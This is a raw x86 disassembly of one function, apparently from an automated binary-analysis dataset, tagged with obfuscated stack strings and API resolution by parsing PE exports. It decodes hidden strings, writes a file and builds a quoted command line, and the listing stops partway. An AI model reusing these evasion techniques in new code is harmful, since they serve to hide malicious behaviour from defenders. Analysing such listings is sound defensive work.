Function at 0x412f70
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x820
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00402770
mov ebx, eax
cmp ebx, 0
jne 0x412f98
xor eax, eax
jmp 0x41506a
xor edi, edi
jmp 0x412f9c
mov dword [esp], ebx
call fcn.00402b40
cmp edi, eax
jb 0x412faf
mov al, 1
jmp 0x41506a
mov dword [esp], ebx
mov dword [esp + 4], edi
call fcn.00402b50
mov dword [esp + 0x3c], eax
mov al, byte [esp + 0x1b8]
mov byte [esp + 0x1d0], al
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0xa7
xor eax, eax
mov dword [esp + 0x158], ebx
mov dword [esp + 0x2c], edi
cmp eax, 2
jae 0x41307a
movzx ecx, byte [esp + eax + 0x4a]
mov dword [esp + 0x26c], ecx
mov ebx, eax
add ebx, 0x70070816
mov edi, 0x8ff8f7e9
sub edi, eax
mov ecx, 0x8ff8f7e9
sub ecx, eax
mov dword [esp + 0x24c], ecx
mov edx, edi
and edx, 0xa7
mov ecx, ebx
and ecx, 0x58
mov esi, dword [esp + 0x24c]
and esi, 0xa7
and ebx, 0x58
or edx, ecx
or esi, ebx
xor edx, esi
or edi, dword [esp + 0x24c]
xor edi, 0xffffffff
or edx, edi
mov edi, dword [esp + 0x2c]
mov ecx, dword [esp + 0x26c]
and edx, ecx
mov ebx, eax
add ebx, 0x16
or ebx, ecx
mov ecx, edx
shl ecx, 1
xor ecx, 0xffffffff
add edx, ecx
and ebx, edx
add bl, 0x50
mov byte [esp + eax + 0x4a], bl
mov ebx, dword [esp + 0x158]
add eax, 1
jmp 0x412fe4
lea eax, [esp + 0x4a]
mov ecx, dword [esp + 0x3c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 2
call fcn.00402a40
cmp eax, 0
setne al
test al, 1
jne 0x4130a5
jmp 0x41318e
mov al, byte [esp + 0x1b4]
mov byte [esp + 0x1d4], al
mov byte [esp + 0x63], 0xc9
mov byte [esp + 0x64], 0xf4
mov byte [esp + 0x65], 0x61
xor eax, eax
cmp eax, 3
jae 0x41310d
movzx esi, byte [esp + eax + 0x63]
mov edx, 0xb3c4d528
sub edx, eax
mov ecx, 0xb3c4d528
sub ecx, eax
and edx, ecx
or edx, esi
xor edx, 0xffffffff
mov ecx, 0x28
sub ecx, eax
and ecx, esi
or ecx, edx
mov edx, ecx
and edx, 0xd8
xor edx, 0xd8
and ecx, 0x27
sub ecx, edx
add cl, 0x20
mov byte [esp + eax + 0x63], cl
add eax, 1
jmp 0x4130c4
lea eax, [esp + 0x63]
mov ecx, dword [esp + 0x3c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 3
call fcn.00402a40
cmp eax, 0
je 0x41318e
mov al, byte [esp + 0x1b0]
mov byte [esp + 0x1d8], al
mov byte [esp + 0x48], 0x79
mov byte [esp + 0x49], 0xdd
xor eax, eax
cmp eax, 2
jae 0x413164
mov cl, byte [esp + eax + 0x48]
mov dl, al
add dl, 0x3c
xor dl, cl
add dl, 0x20
mov byte [esp + eax + 0x48], dl
add eax, 1
jmp 0x413148
lea eax, [esp + 0x48]
mov ecx, dword [esp + 0x3c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 3
call fcn.00402a40
cmp eax, 0
setne al
xor al, 0xff
test al, 1
jne 0x41318e
jmp 0x413193
jmp 0x41505a
mov al, byte [esp + 0x1ac]
mov byte [esp + 0x1dc], al
mov byte [esp + 0x46], 0xe1
mov byte [esp + 0x47], 0x55
xor eax, eax
cmp eax, 2
jae 0x41327a
movzx edi, byte [esp + eax + 0x46]
mov edx, eax
add edx, 0x43ca9ef4
mov esi, 0xb
sub esi, eax
mov ecx, edx
shl ecx, 1
mov ebx, eax
add ebx, 0xf3
sub ebx, ecx
and esi, ebx
xor esi, 0xffffffff
mov ecx, edi
and ecx, esi
or edx, edi
xor edx, 0xffffffff
or ecx, edx
mov edx, ecx
shl edx, 1
xor edx, 0xffffffff
add ecx, edx
add ecx, 0xf0d48cee
mov edx, ecx
shl edx, 1
and edx, 0xc35610be
xor ecx, 0xe1ab085f
add ecx, edx
mov edi, ecx
add edi, 0xf2b7312
mov esi, ecx
add esi, 0xf2b7313
mov edx, 0xf0d48ced
sub edx, ecx
or edx, 1
add edx, esi
mov esi, edx
and esi, 2
xor esi, 2
mov ebx, edx
and ebx, 0xfffffffd
imul ebx, esi
mov esi, edx
and esi, 2
or edx, 2
imul edx, esi
add edx, ebx
mov ebx, 0x30d48ced
sub ebx, ecx
and ebx, 0x361efba7
and edi, 0xc9e10458
or ebx, edi
xor ebx, 0x361efba6
mov ecx, ebx
and ecx, edx
shl ecx, 1
xor ebx, edx
add ebx, ecx
mov byte [esp + eax + 0x46], bl
mov ebx, dword [esp + 0x158]
add eax, 1
jmp 0x4131ad
lea eax, [esp + 0x46]
mov ecx, dword [esp + 0x3c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00402480
mov dword [esp + 0x2b0], eax
mov al, byte [esp + 0x1a8]
mov byte [esp + 0x1e0], al
mov byte [esp + 0x60], 0x1b
mov byte [esp + 0x61], 0xa
mov byte [esp + 0x62], 0xbf
xor eax, eax
cmp eax, 3
jae 0x4132e9
mov dl, byte [esp + eax + 0x60]
mov esi, eax
shl esi, 1
and esi, 0x2a
mov ecx, eax
xor ecx, 0x15
add ecx, esi
xor cl, dl
add cl, 0x58
mov byte [esp + eax + 0x60], cl
mov ecx, eax
shl ecx, 1
and ecx, 2
xor eax, 0xea4e337d
add eax, ecx
add eax, 0x15b1cc84
jmp 0x4132b4
lea eax, [esp + 0x60]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call fcn.00402580
fnstcw word [esp + 0x94]
movzx eax, word [esp + 0x94]
or eax, 0xc00
mov word [esp + 0x246], ax
fldcw word [esp + 0x246]
fistp dword [esp + 0x2c4]
fldcw word [esp + 0x94]
mov eax, dword [esp + 0x2c4]
mov dword [esp + 0x4c], eax
mov al, byte [esp + 0x1a4]
mov byte [esp + 0x1e4], al
mov byte [esp + 0x44], 0x6f
mov byte [esp + 0x45], 0x8b
xor eax, eax
cmp eax, 2
jae 0x413380
movzx edx, byte [esp + eax + 0x44]
mov esi, eax
add esi, 0x5a
mov ecx, edx
xor ecx, 0xffffffff
and esi, ecx
mov ecx, 0xa5
sub ecx, eax
and ecx, edx
or ecx, esi
add cl, 0x30
mov byte [esp + eax + 0x44], cl
add eax, 1
jmp 0x413353
lea eax, [esp + 0x44]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call fcn.00402580
fnstcw word [esp + 0x92]
movzx eax, word [esp + 0x92]
or eax, 0xc00
mov word [esp + 0x244], ax
fldcw word [esp + 0x244]
fistp dword [esp + 0x2c0]
fldcw word [esp + 0x92]
mov edi, dword [esp + 0x2c0]
lea eax, [esp + 0x41c]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0x400
mov eax, dword [esp + 0x2b0]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call fcn.0040b6e0
lea eax, [esp + 0x41c]
lea ecx, [esp + 0x34]
lea edx, [esp + 0x25c]
xor esi, esi
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [esp + 0xc], 0
call fcn.0040be80
test al, 1
jne 0x413431
mov edi, dword [esp + 0x2c]
jmp 0x41505a
cmp edi, 0
sete al
jmp 0x413439
test al, 1
mov byte [esp + 0x59], al
jne 0x413446
jmp 0x414686
mov al, byte [esp + 0x1a0]
mov byte [esp + 0x1e8], al
mov byte [esp + 0x42], 0x96
mov byte [esp + 0x43], 7
xor eax, eax
mov edi, dword [esp + 0x2c]
cmp eax, 2
jae 0x413480
mov cl, byte [esp + eax + 0x42]
mov dl, al
add dl, 0xb6
xor dl, cl
add dl, 0x50
mov byte [esp + eax + 0x42], dl
add eax, 1
jmp 0x413464
lea eax, [esp + 0x42]
mov ecx, dword [esp + 0x3c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00402480
cmp eax, 0
setne cl
jmp 0x41349c
test cl, 1
jne 0x4134a6
jmp 0x4136d4
mov dword [esp + 0x27c], eax
mov dword [esp], eax
call fcn.00415080
mov edi, eax
mov eax, edi
sub eax, 0xffffffff
mov ecx, 2
mov dword [esp + 0x264], eax
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x4134d9
mov ecx, eax
mov dword [esp], ecx
call fcn.00408c90
mov esi, eax
xor eax, eax
mov dword [esp], esi
mov eax, dword [esp + 0x264]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x27c]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call fcn.0040b6e0
xor eax, eax
lea eax, [esp + 0x19c]
mov dword [esp], 0
mov dword [esp + 0xbc], esi
mov dword [esp + 4], esi
mov dword [esp + 0x2ac], edi
mov dword [esp + 8], edi
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], eax
call dword [0x4497e0]
sub esp, 0x18
mov cl, byte [esp + 0x198]
mov byte [esp + 0x1ec], cl
mov byte [esp + 0x76], 0x68
mov byte [esp + 0x77], 0x4c
mov byte [esp + 0x78], 0x4d
mov byte [esp + 0x79], 0x8e
xor ecx, ecx
cmp ecx, 4
jae 0x4135bc
movzx esi, byte [esp + ecx + 0x76]
mov edi, ecx
add edi, 0x213705d3
mov edx, 0x1ec8fa2c
sub edx, ecx
and edx, 0xcd9d46a8
and edi, 0x3262b957
or edx, edi
xor edx, esi
xor edx, 0xcd9d46a8
add edx, 0xf647d167
mov esi, edx
shl esi, 1
and esi, 2
xor edx, 1
add edx, esi
mov byte [esp + ecx + 0x76], dl
add ecx, 1
jmp 0x413572
mov ecx, dword [esp + 0x76]
cmp eax, ecx
mov edi, dword [esp + 0x2c]
jne 0x4135f7
jmp 0x4135ca
mov eax, dword [esp + 0xbc]
mov dword [esp], eax
call fcn.00408ca0
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call fcn.00439bd0
mov dword [esp + 0x28], 0
mov eax, 4
jmp 0x4136c6
mov eax, dword [esp + 0x19c]
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x413614
mov ecx, eax
mov dword [esp], ecx
call fcn.00408c90
mov ecx, dword [0x4497e0]
mov dword [esp + 0x260], ecx
mov ecx, dword [esp + 0x19c]
xor edx, edx
lea edx, [esp + 0x19c]
mov dword [esp], 0
mov esi, dword [esp + 0xbc]
mov dword [esp + 4], esi
mov esi, eax
mov eax, dword [esp + 0x2ac]
mov dword [esp + 8], eax
mov dword [esp + 0x28], esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], edx
call dword [esp + 0x260]
sub esp, 0x18
cmp eax, 0
jge 0x4136af
jmp 0x413679
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call fcn.00408ca0
jmp 0x413687
jmp 0x413689
mov eax, dword [esp + 0xbc]
mov dword [esp], eax
call fcn.00408ca0
jmp 0x41369a
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call fcn.00439bd0
jmp 0x4136a8
mov eax, 4
jmp 0x4136c6
jmp 0x4136b1
mov eax, dword [esp + 0xbc]
mov dword [esp], eax
call fcn.00408ca0
jmp 0x4136c2
xor eax, eax
jmp 0x4136c6
cmp eax, 0
je 0x413e0e
jmp 0x413e10
call fcn.004093c0
and eax, 0xf
xor eax, 0xffffffff
sub eax, 0xffffffff
mov ecx, 0x10
sub ecx, eax
xor edx, edx
lea eax, [esp + 0x3dc]
jmp 0x4136f4
cmp edx, ecx
jb 0x413966
mov word [eax], 0
mov al, byte [esp + 0x190]
mov byte [esp + 0x1f4], al
mov byte [esp + 0xc2], 4
mov byte [esp + 0xc3], 0x22
mov byte [esp + 0xc4], 0xf7
mov byte [esp + 0xc5], 0x24
mov byte [esp + 0xc6], 0xe0
mov byte [esp + 0xc7], 0x26
mov byte [esp + 0xc8], 0xfa
mov byte [esp + 0xc9], 0x38
mov byte [esp + 0xca], 0xe9
mov byte [esp + 0xcb], 0x3a
mov byte [esp + 0xcc], 0x1e
mov byte [esp + 0xcd], 0x3c
mov byte [esp + 0xce], 0xd1
mov byte [esp + 0xcf], 0x3e
mov byte [esp + 0xd0], 0x3f
mov byte [esp + 0xd1], 0x30
xor eax, eax
cmp eax, 0x10
jae 0x4137e2
movzx edx, byte [esp + eax + 0xc2]
mov esi, eax
add esi, 0x69
and esi, edx
shl esi, 1
mov ecx, eax
sub ecx, esi
add ecx, 0x1638a568
add ecx, edx
mov edx, ecx
shl edx, 1
and edx, 2
xor ecx, 1
add ecx, 0xb8
add ecx, edx
mov byte [esp + eax + 0xc2], cl
mov ecx, eax
and ecx, 1
or eax, 1
add eax, 0x2be71f9
or eax, ecx
add eax, 0xfd418e07
jmp 0x413791
lea eax, [esp + 0x37c]
lea ecx, [esp + 0xc2]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.0040a9a0
lea ecx, [esp + 0x3dc]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.0040a9a0
mov esi, eax
lea eax, [esp + 0x37c]
mov ecx, esi
xor ecx, 0xffffffff
and ecx, eax
xor eax, 0xffffffff
and esi, eax
sub esi, ecx
sar esi, 1
mov eax, dword [0x4497e0]
xor ecx, ecx
lea ecx, [esp + 0x37c]
lea edx, [esp + 0x18c]
mov dword [esp], 0
mov dword [esp + 4], ecx
mov dword [esp + 8], esi
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], edx
call eax
sub esp, 0x18
mov dword [esp + 0x2a4], eax
mov al, byte [esp + 0x188]
mov byte [esp + 0x1f8], al
mov byte [esp + 0x6e], 0xf7
mov byte [esp + 0x6f], 0x95
mov byte [esp + 0x70], 0x96
mov byte [esp + 0x71], 0x57
xor edx, edx
mov dword [esp + 0x2bc], esi
cmp edx, 4
jae 0x413950
movzx ecx, byte [esp + edx + 0x6e]
mov dword [esp + 0x270], ecx
mov eax, 0xcb
sub eax, edx
or eax, ecx
mov dword [esp + 0x280], eax
mov ebx, 0x5eaa80cb
sub ebx, edx
mov eax, 0x5eaa80cb
sub eax, edx
mov edi, edx
add edi, 0xa1557f34
mov ecx, edx
add ecx, 0xa1557f34
mov dword [esp + 0x248], ecx
mov ecx, edi
and ecx, 0x42e50a16
and ebx, 0xbd1af5e9
mov esi, dword [esp + 0x248]
and esi, 0x42e50a16
and eax, 0xbd1af5e9
or ecx, ebx
or esi, eax
xor ecx, esi
or edi, dword [esp + 0x248]
xor edi, 0xffffffff
or ecx, edi
mov edi, dword [esp + 0x2c]
mov eax, dword [esp + 0x270]
mov ebx, eax
shl ebx, 1
xor ebx, 0xffffffff
add ebx, eax
mov eax, ecx
shl eax, 1
xor eax, 0xffffffff
add ecx, eax
or ebx, ecx
and ebx, dword [esp + 0x280]
mov al, 0x5f
sub al, bl
mov ebx, dword [esp + 0x158]
mov byte [esp + edx + 0x6e], al
add edx, 1
jmp 0x413897
mov eax, dword [esp + 0x6e]
cmp dword [esp + 0x2a4], eax
jne 0x413a1e
jmp 0x413a3c
mov dword [esp + 0x298], eax
mov dword [esp + 0x29c], edx
mov dword [esp + 0x2a0], ecx
call fcn.004093c0
mov dword [esp + 0x278], eax
mov cl, byte [esp + 0x194]
mov byte [esp + 0x1f0], cl
mov byte [esp + 0x72], 0x40
mov byte [esp + 0x73], 0x25
mov byte [esp + 0x74], 0x26
mov byte [esp + 0x75], 0x27
xor ecx, ecx
cmp ecx, 4
jae 0x4139d9
mov eax, ebx
mov bl, byte [esp + ecx + 0x72]
movzx esi, bl
mov edx, ecx
add edx, 0x4a993804
mov edi, edx
and edi, esi
shl edi, 1
sub edx, edi
add dl, bl
mov ebx, eax
add dl, 0xe0
mov byte [esp + ecx + 0x72], dl
add ecx, 1
jmp 0x4139ab
mov eax, dword [esp + 0x278]
cdq
idiv dword [esp + 0x72]
movsx eax, byte [edx + 0x440b8c]
mov edx, dword [esp + 0x298]
mov ecx, edx
add ecx, 2
mov word [edx], ax
xor eax, eax
sub eax, dword [esp + 0x29c]
add eax, 0xffffffff
xor edx, edx
sub edx, eax
mov eax, ecx
mov edi, dword [esp + 0x2c]
mov ecx, dword [esp + 0x2a0]
jmp 0x4136f4
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call fcn.00439bd0
mov dword [esp + 0x28], 0
mov eax, 4
jmp 0x413e09
mov eax, dword [esp + 0x18c]
mov cl, byte [esp + 0x184]
mov byte [esp + 0x1fc], cl
mov byte [esp + 0x6a], 0xe
mov byte [esp + 0x6b], 0xb
mov byte [esp + 0x6c], 0xc
mov byte [esp + 0x6d], 0xd
xor ecx, ecx
cmp ecx, 4
jae 0x413ad8
movzx edx, byte [esp + ecx + 0x6a]
mov dword [esp + 0x268], edx
mov edx, ecx
and edx, 0x3ffa8ad8
mov esi, ecx
and esi, 2
xor esi, 2
mov edi, ebx
mov ebx, ecx
and ebx, 0x3ffa8ad8
imul esi, ebx
mov ebx, ecx
and ebx, 2
or edx, 2
imul edx, ebx
mov ebx, edi
mov edi, dword [esp + 0x2c]
add edx, esi
mov esi, ecx
xor esi, 0x3ffa8ada
add edx, esi
xor edx, dword [esp + 0x268]
mov esi, edx
and esi, 0xd1
xor esi, 0xd1
and edx, 0x2e
sub edx, esi
add dl, 1
mov byte [esp + ecx + 0x6a], dl
add ecx, 1
jmp 0x413a67
mov ecx, dword [esp + 0x6a]
mov edx, eax
and edx, ecx
or eax, ecx
add eax, edx
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x413afa
mov ecx, eax
mov dword [esp], ecx
call fcn.00408c90
mov esi, dword [0x4497e0]
mov ecx, dword [esp + 0x18c]
xor edx, edx
lea edx, [esp + 0x37c]
mov dword [esp], 0
mov dword [esp + 4], edx
mov edx, dword [esp + 0x2bc]
mov dword [esp + 8], edx
mov dword [esp + 0x28], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], ecx
lea eax, [esp + 0x18c]
mov dword [esp + 0x14], eax
call esi
sub esp, 0x18
cmp eax, 0
setge al
test al, 1
jne 0x413b7c
jmp 0x413b56
jmp 0x413b58
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call fcn.00408ca0
jmp 0x413b66
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call fcn.00439bd0
mov eax, 4
jmp 0x413e09
mov eax, dword [esp + 0x4c]
cmp eax, 0
jne 0x413c70
mov al, byte [esp + 0x180]
mov byte [esp + 0x200], al
mov byte [esp + 0xb2], 0x65
mov byte [esp + 0xb3], 0x3c
mov byte [esp + 0xb4], 0x58
mov byte [esp + 0xb5], 0x3e
mov byte [esp + 0xb6], 0xb7
mov byte [esp + 0xb7], 0x30
mov byte [esp + 0xb8], 0x54
mov byte [esp + 0xb9], 0x32
mov byte [esp + 0xba], 0x33
mov byte [esp + 0xbb], 0x34
xor eax, eax
cmp eax, 0xa
jae 0x413c52
movzx edi, byte [esp + eax + 0xb2]
mov edx, 0xdc
sub edx, eax
mov ecx, 0xdc
sub ecx, eax
and edx, ecx
mov ecx, eax
add ecx, 0xbc9a4c23
mov esi, eax
add esi, 0xbc9a4c23
and ecx, esi
or ecx, edi
xor edi, 0xffffffff
or edx, edi
mov edi, dword [esp + 0x2c]
xor ecx, edx
mov esi, 0x1b2d9ee6
sub esi, ecx
mov edx, esi
shl edx, 1
and edx, 2
add ecx, 0x19
and ecx, 0x10
and esi, 0xef
or ecx, esi
xor ecx, 0x11
add ecx, edx
mov byte [esp + eax + 0xb2], cl
add eax, 1
jmp 0x413be9
jmp 0x413c54
lea eax, [esp + 0xb2]
mov ecx, dword [esp + 0x28]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.004154b0
jmp 0x413e05
cmp eax, 1
sete al
test al, 1
jne 0x413c7f
jmp 0x413d30
mov al, byte [esp + 0x17c]
mov byte [esp + 0x204], al
mov byte [esp + 0xa8], 0xbc
mov byte [esp + 0xa9], 0x93
mov byte [esp + 0xaa], 0xf0
mov byte [esp + 0xab], 0x95
mov byte [esp + 0xac], 0xfa
mov byte [esp + 0xad], 0x97
mov byte [esp + 0xae], 0xf4
mov byte [esp + 0xaf], 0x99
mov byte [esp + 0xb0], 0x9a
mov byte [esp + 0xb1], 0x9b
xor eax, eax
cmp eax, 0xa
jae 0x413d14
movzx edx, byte [esp + eax + 0xa8]
mov ecx, eax
add ecx, 0xc9987082
xor ecx, edx
add ecx, 0xb33c7bef
mov edx, ecx
shl edx, 1
and edx, 2
xor ecx, 1
add ecx, edx
mov byte [esp + eax + 0xa8], cl
add eax, 1
jmp 0x413cdf
lea eax, [esp + 0xa8]
mov ecx, dword [esp + 0x28]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.004154b0
jmp 0x413e05
cmp dword [esp + 0x4c], 2
sete al
test al, 1
jne 0x413d41
jmp 0x413e05
mov al, byte [esp + 0x178]
mov byte [esp + 0x208], al
mov byte [esp + 0x9e], 0xa3
mov byte [esp + 0x9f], 0xde
mov byte [esp + 0xa0], 0x6f
mov byte [esp + 0xa1], 0xd0
mov byte [esp + 0xa2], 0x62
mov byte [esp + 0xa3], 0xd2
mov byte [esp + 0xa4], 0xa2
mov byte [esp + 0xa5], 0xd4
mov byte [esp + 0xa6], 0xd5
mov byte [esp + 0xa7], 0xd6
xor eax, eax
cmp eax, 0xa
jae 0x413dec
movzx edx, byte [esp + eax + 0x9e]
mov esi, eax
shl esi, 1
and esi, 0x7c4832ea
mov ecx, eax
xor ecx, 0x3e241975
add ecx, esi
mov esi, ecx
or esi, edx
mov edi, ecx
xor edi, edx
add edi, ecx
xor edi, 0xffffffff
add esi, edi
mov edi, dword [esp + 0x2c]
xor edx, 0xffffffff
or ecx, edx
and ecx, esi
mov dl, 0x57
sub dl, cl
mov byte [esp + eax + 0x9e], dl
add eax, 1
jmp 0x413da1
lea eax, [esp + 0x9e]
mov ecx, dword [esp + 0x28]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.004154b0
jmp 0x413e05
xor eax, eax
jmp 0x413e09
cmp eax, 0
jne 0x413e10
xor eax, eax
cmp eax, 0
jne 0x41505a
lea eax, [esp + 0x258]
xor ecx, ecx
mov ecx, dword [esp + 0x28]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x100002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 5
mov dword [esp + 0x14], 0x60
mov dword [esp + 0x18], 0x80
call fcn.0043d7c0
mov esi, eax
cmp esi, 0
jl 0x413f83
mov eax, dword [esp + 0x25c]
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x258]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call fcn.0043df00
mov ecx, dword [esp + 0x258]
mov dword [esp + 0x2a8], ecx
mov cl, byte [esp + 0x1cc]
mov byte [esp + 0x230], cl
mov byte [esp + 0x8a], 0xe7
mov byte [esp + 0x8b], 0xe6
mov byte [esp + 0x8c], 0xe5
mov byte [esp + 0x8d], 0xe4
xor ecx, ecx
cmp ecx, 4
jae 0x413ef1
mov dh, byte [esp + ecx + 0x8a]
mov dl, cl
add dl, 0x58
xor dl, dh
add dl, 0x40
mov byte [esp + ecx + 0x8a], dl
add ecx, 1
jmp 0x413ecf
mov dword [esp + 0x274], eax
mov esi, dword [esp + 0x8a]
xor edx, edx
cmp edx, dword [0x4497e4]
jb 0x413f0b
jmp 0x413f7c
mov eax, dword [0x4497e8]
cmp dword [eax + edx*8], 0xb430e561
sete cl
mov byte [esp + 0x56], cl
test cl, 1
jne 0x413f25
jmp 0x413f6e
mov eax, dword [eax + edx*8 + 4]
cmp eax, esi
je 0x413f6e
mov dword [esp + 0x294], esi
mov ecx, dword [0x4497ec]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
mov eax, dword [esp + 0x2a8]
mov dword [esp + 0xc], eax
mov dword [esp + 0x284], edx
call fcn.0043b5f0
mov edx, dword [esp + 0x284]
mov esi, dword [esp + 0x294]
test byte [esp + 0x56], 1
je 0x413f77
jmp 0x413f7c
add edx, 1
jmp 0x413f01
mov esi, dword [esp + 0x274]
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call fcn.00439bd0
mov dword [esp + 0x34], 0
cmp esi, 0
jge 0x413fae
mov dword [esp + 0x30], 0
mov eax, 4
jmp 0x414678
mov eax, dword [esp + 0x4c]
cmp eax, 1
jne 0x414366
mov al, byte [esp + 0x174]
mov byte [esp + 0x20c], al
mov byte [esp + 0x5d], 0xcf
mov byte [esp + 0x5e], 0xd4
mov byte [esp + 0x5f], 0xab
xor eax, eax
cmp eax, 3
jae 0x41400c
movzx edx, byte [esp + eax + 0x5d]
mov ecx, eax
add ecx, 0x3afbeba1
xor ecx, edx
mov edx, ecx
shl edx, 1
and edx, 0xee
xor ecx, 0xf7
add ecx, edx
add cl, 1
mov byte [esp + eax + 0x5d], cl
add eax, 1
jmp 0x413fda
lea eax, [esp + 0x5d]
mov ecx, dword [esp + 0x3c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00402480
mov dword [esp + 0x154], eax
mov al, byte [esp + 0x170]
mov byte [esp + 0x210], al
mov byte [esp + 0x5a], 0xd7
mov byte [esp + 0x5b], 0xe5
mov byte [esp + 0x5c], pe_nt_image_headers32
xor eax, eax
cmp eax, 3
jae 0x4140be
movzx edx, byte [esp + eax + 0x5a]
mov esi, eax
add esi, 0x46
mov ecx, 0x39
sub ecx, eax
and ecx, 0x32
and esi, 0xcd
or ecx, esi
mov esi, eax
add esi, 0x89203e46
mov edi, eax
add edi, 0x89203e46
and esi, edi
or esi, edx
xor ecx, 0x32
and ecx, edx
xor ecx, esi
mov edx, ecx
and edx, 0xcd
mov edi, ecx
and edi, 0xcd
mov esi, ecx
and esi, 2
xor esi, 2
imul esi, edi
mov edi, ecx
and edi, 2
or edx, 2
imul edx, edi
add edx, esi
xor ecx, 0xcf
add ecx, edx
add cl, 1
mov byte [esp + eax + 0x5a], cl
add eax, 1
jmp 0x414046
lea eax, [esp + 0x5a]
mov ecx, dword [esp + 0x3c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00402480
mov dword [esp + 0x150], eax
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call fcn.00415500
mov edi, eax
cmp dword [esp + 0x154], 0
setne cl
xor eax, eax
mov byte [esp + 0x58], cl
test cl, 1
jne 0x4140ff
jmp 0x414113
mov eax, dword [esp + 0x154]
mov dword [esp], eax
call fcn.00408e30
sub eax, 0xffffffff
jmp 0x414113
cmp dword [esp + 0x150], 0
setne dl
xor ecx, ecx
mov byte [esp + 0x3b], dl
test dl, 1
mov dword [esp + 0x250], eax
jne 0x414132
jmp 0x414158
mov eax, dword [esp + 0x150]
mov dword [esp], eax
call fcn.00408e30
mov ecx, eax
mov eax, ecx
and eax, 1
shl eax, 1
xor ecx, 1
add ecx, eax
mov eax, dword [esp + 0x250]
jmp 0x414158
add edi, 9
mov edx, edi
and edx, eax
or edi, eax
add edi, edx
mov eax, edi
and eax, ecx
mov dword [esp + 0x2b8], ecx
or edi, ecx
add eax, edi
add eax, 1
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x41418b
mov ecx, eax
mov dword [esp], ecx
call fcn.00408c90
mov dword [esp + 0x30], eax
mov al, byte [esp + 0x16c]
mov byte [esp + 0x214], al
mov byte [esp + 0xd2], 0x7e
mov byte [esp + 0xd3], 0xcd
mov byte [esp + 0xd4], 0x7b
mov byte [esp + 0xd5], 0xcf
mov byte [esp + 0xd6], 0x7e
mov byte [esp + 0xd7], 0xd1
mov byte [esp + 0xd8], 0x76
mov byte [esp + 0xd9], 0xd3
mov byte [esp + 0xda], pe_nt_image_headers32
mov byte [esp + 0xdb], 0xd5
mov byte [esp + 0xdc], 0x7a
mov byte [esp + 0xdd], 0xd7
mov byte [esp + 0xde], 0x2b
mov byte [esp + 0xdf], 0xd9
mov byte [esp + 0xe0], 0x28
mov byte [esp + 0xe1], 0xdb
mov byte [esp + 0xe2], 0xdc
mov byte [esp + 0xe3], 0xdd
xor eax, eax
cmp eax, 0x12
jae 0x414275
movzx edx, byte [esp + eax + 0xd2]
mov ecx, eax
add ecx, 0x86219dac
xor ecx, edx
add ecx, 0xcef3129f
mov edx, ecx
shl edx, 1
and edx, 2
xor ecx, 1
add ecx, edx
mov byte [esp + eax + 0xd2], cl
mov ecx, eax
shl ecx, 1
and ecx, 2
xor eax, 1
add eax, ecx
jmp 0x414237
lea eax, [esp + 0xd2]
mov ecx, dword [esp + 0x30]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040a9a0
mov ecx, eax
add ecx, 2
mov word [eax], 0x20
add ecx, 2
mov word [eax + 2], 0x22
mov dword [esp], ecx
mov esi, dword [esp + 0x28]
mov dword [esp + 4], esi
call fcn.0040a9a0
mov edi, eax
add edi, 2
mov word [eax], 0x22
cmp esi, 0
je 0x4142ca
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call fcn.00408ca0
test byte [esp + 0x58], 1
jne 0x4142d7
mov al, byte [esp + 0x3b]
jmp 0x414313
mov esi, edi
add esi, 2
mov word [edi], 0x2c
xor eax, eax
mov dword [esp], esi
mov eax, dword [esp + 0x250]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x154]
mov dword [esp + 8], eax
